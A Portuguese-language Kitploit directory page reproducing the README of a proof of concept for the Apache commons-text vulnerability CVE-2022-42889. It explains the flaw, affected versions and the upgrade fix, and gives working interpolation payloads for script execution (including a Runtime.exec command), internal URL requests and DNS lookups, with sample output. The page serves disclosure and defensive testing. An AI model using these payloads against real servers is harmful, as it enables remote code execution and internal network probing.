Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42889-PoC — Prova de Conceito para a vulnerabilidade do Apache commons-text CVE-2022-42889. | Kitploit
Ferramentas/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Prova de Conceito para a vulnerabilidade do Apache commons-text CVE-2022-42889.

Ver Repositório
34171há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42889 PoC

Esta é uma Prova de Conceito para a vulnerabilidade CVE-2022-42889. Este código executará o código JavaScript 195 + 324. Se vulnerável, a saída deve ser:

root@kitploit:~
PoC Output: 519

Para executar isto, você precisará de:

  • JDK 11 ou superior
  • Maven

Quando solicitado por uma string de exploração, você pode fornecer sua própria string de exploração (e pressionar Enter para inserir a string) ou simplesmente pressionar Enter para usar a string de exploração padrão ${script:javascript:195 + 324}.

Docker

Alternativamente, você pode usar o Docker para executar este PoC:

root@kitploit:~
docker build -t poc .
docker run -it poc

Qual é o Problema?

O problema decorre do fato de que as seguintes chaves não devem ser interpoladas por padrão (conforme a documentação https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

Esta pesquisa (lookup) permite que o código JavaScript fornecido seja executado. O resultado é a capacidade de um atacante executar código arbitrário no sistema.

Formato

root@kitploit:~
${script:<engine>:<code>}

Exemplo

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Exemplo no PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Esta pesquisa chama a URL especificada. Um atacante poderia aproveitar isso para realizar requisições GET básicas a recursos internos.

Formato

root@kitploit:~
${url:<character-encoding>:<url>}

Exemplo

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Exemplo no PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Esta pesquisa realiza uma consulta DNS ou uma pesquisa reversa. Isso poderia permitir que um atacante identifique recursos internos.

Formato

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

Exemplo

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Exemplo no PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

No entanto, devido a uma falha na lógica, essas 3 chaves são interpoladas por padrão, quando não deveriam (já que poderiam representar um risco de segurança).

Qual é o Risco?

Um atacante com controle sobre a string passada para uma substituição StringSubstitutor afetada poderia permitir que o atacante:

  • Executar código JavaScript no sistema (geralmente um servidor) que está executando o código StringSubstitutor
  • Conectar-se a outros servidores a partir do sistema afetado
  • Potencialmente obter acesso a outros recursos remotos a partir do sistema afetado

Estou Vulnerável?

Para que seu código seja vulnerável, você precisa:

  • Estar executando uma versão do Apache commons-text da versão 1.5.0 até (e não incluindo) 1.10.0

  • Usar Interpolação para sua StringSubstituion (veja https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Observe que a partir do JDK 15, o mecanismo JavaScript Nashorn não está mais incluído. No entanto, o mecanismo JEXL ainda está incluído e, como resultado, RCE ainda pode ser possível.

    (agradecimentos a rgmz por destacar isso)

Correção Oficial

A correção para isso é atualizar suas instâncias de commons-text para as versões 1.10.0 ou posteriores.

Nota

As outras pesquisas padrão ainda podem potencialmente representar um risco de segurança (como a capacidade de ler conteúdo de arquivos, ler propriedades do sistema, etc). Use este recurso com cautela e certifique-se de que toda entrada do usuário seja adequadamente sanitizada (por exemplo, passando por uma lista de permissões).

Baixar ferramenta